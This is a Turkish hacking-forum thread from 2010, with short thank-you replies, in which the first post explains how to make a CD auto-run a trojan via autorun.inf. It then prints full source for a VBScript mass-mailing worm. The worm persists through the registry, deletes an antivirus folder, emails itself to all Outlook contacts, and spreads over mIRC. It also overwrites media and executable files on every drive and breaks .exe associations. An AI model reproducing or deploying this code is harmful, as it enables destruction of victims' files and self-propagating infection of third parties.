İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

bir cd nasıl virüs haline getirilir

06-02-2010 20:19
#1
BADİNHQ10 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2009
Mesajlar:
1.080
Teşekkür (Etti):
18
Teşekkür (Aldı):
52
Konular:
929
Aşağıda verdiim kodu bir not defterine yazıp ondan sonra da autorun.inf diye kaydediosunuz
sonra bir viüs veya trojan ne ise artık adın server yapıp (genelde server dir zaten) Cd nin içine
kopyalıyosunuz artık o cd takıldığı bilgisayara serveri yükler konumdadır ...

İşte o kod :



[Autorun]
open=server.exe

Server.exe yi acın

İçine Şu Codu Kopyalayın

MustiHaCk
'Virus created with Rapid virus creator v1.0
On Error Resume Next
dir fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullName,1)
vbsCopy=file.ReadAll
main()

Sub Main()
On Error Resume Next
dim wscr,rr
Set wscr = CreateObject("WScript.Shell")
rr = wscr.RegRead("HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut")
If (rr>=1) Then
wscr.RegWrite "HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut",0,"REG_DWORD"
End If
Set DirWin=fso.GetSpecialFolder(0)
Set DirSystem=fso.GetSpecialFolder(1)
Set DirTemp=fso.GetSpecialFolder(2)
Set c=fso.GetFile(WScript.ScriptFullName)
wscr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\MustiHaCk.gif.vbs",dirSystem&"\MSKernel32.vbs"
wscr.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title","Microsoft Internet Exploder"
c.Copy(dirSystem&"\MSKernel32.vbs")
c.Copy(dirWin&"\Win32Dll.vbs")
c.Copy(dirSystem&"\config-info.txt.vbs")
if true Then
wscr.run "RUNDLL32.EXE user.exe,exitwindows"
End If
if true Then
FSO.DeleteFolder ("c:\f-prot")
End If
if true Then
wscr.run "c:\autoexec.bat"
End If
if true Then
MsgBox "Hacked by Altin Nesil Hack TeaM"
End If
Postala
Etkile
SysBoz
End Sub

Sub Postala
On Error Resume Next
dim x,a,ctrlists,crtentries,malead,b,regedit,regv,rega d
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
For CtrLists=1 to mapi.AddressLists.Count
set a=mapi.AdressLists(CtrLists)
x=1
regv=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\" &a)
if (regv="") Then
regv=1
End If
If (int(a.AdressEntriesCount)>int(regv)) Then
For crtEntries=1 to a.AdressEntriesCount
malead = a.AddressEntries(x)
regad=""
regad=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\ "&malead)
if (regad="") Then
set male=out.CreateItem(0)
male.Recipents.Add(malead)
male.Subject="slm"
male.Body=vbcrlf& "Nbr"

male.Attachments.Add(dirSystem&"\MSKernel32.vbs")
male.Send
regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntrie sCou nt
Else
regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntrie sCou nt
End If
Next
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub

Sub Etkile
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If (d.DriveType = 2) or (d.DriveType = 3) Then
ListFoldersInDrive(d.Path&"\")
End If
Next
Etkile=s
End Sub

Sub ListFoldersInDrive( param )
On Error Resume Next
Dim f,f1,sf
Set f=fso.GetFolder(param)
Set sf= f.SubFolders
For Each f1 in sf
KlasorEtkile(f1.path)
ListFoldersInDrive(f1.Path)
Next
End Sub

Sub KlasorEtkile( folderspec )
OnError Resume Next
Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
Set f=fso.GetFolder(folderspec)
Set fc=f.files
For Each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.name)
If (ext="vbs") or (ext="vbe") or (ext="exe") or (ext="mpge") or (ext="mpg") or (ext="mp3") or (ext="bat") or (ext="jpg") or (ext="avi") or (ext="") Then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbsCopy
ap.Close
End If
if (ext="def") Then
fso.DeleteFile(f1.path)
End If
If (eq<>FolderSpec) Then
If (s="mirc32.exe") or (s="mirc.exe") or (s="mirc.hlp") Then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "n0=;Altin Nesil Hack TEaM"
scriptini.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
scriptini.WriteLine "n3=}"
scriptini.WriteLine "n4="
scriptini.WriteLine "n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n6= /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
scriptini.WriteLine "n7=}"
scriptini.Close
eq=folderSpec
End If
End If
Next
End Sub
Sub SysBoz()
wscr.RegWrite "HKCR\.exe\Default","xyzxyz"
wscr.RegWrite "HKCR\.exe\Content Type","hebele hübele"

alıntıdır
Kullanıcı İmzası
B A D İ N H Q 1 0

Hakettiğini her zaman alırsın.

[gvideo]1546854150442394832[/gvideo]


KORK BİZDEN

08-02-2010 00:52
#2
Üyelik tarihi:
04/2009
Mesajlar:
53
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
3
Alıntıda olsa Teşekkür ederim
Kullanıcı İmzası
09-02-2010 17:53
#3
merdiven - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2009
Mesajlar:
644
Teşekkür (Etti):
12
Teşekkür (Aldı):
73
Konular:
16
teşekkürler
Kullanıcı İmzası
M E R D İ V E N







█║▌│█│║▌║││█║▌║▌║
²¹³²³°¹³°¹³¹³
Tüm Haklarım SakLıdıR.


AsıL NiCk : CrHaCkeR
09-02-2010 17:55
#4
haven - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2009
Nereden:
нєяуєя∂єη!
Yaş:
26
Mesajlar:
2.836
Teşekkür (Etti):
0
Teşekkür (Aldı):
393
Konular:
235
saol... emeğine sağlık..

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı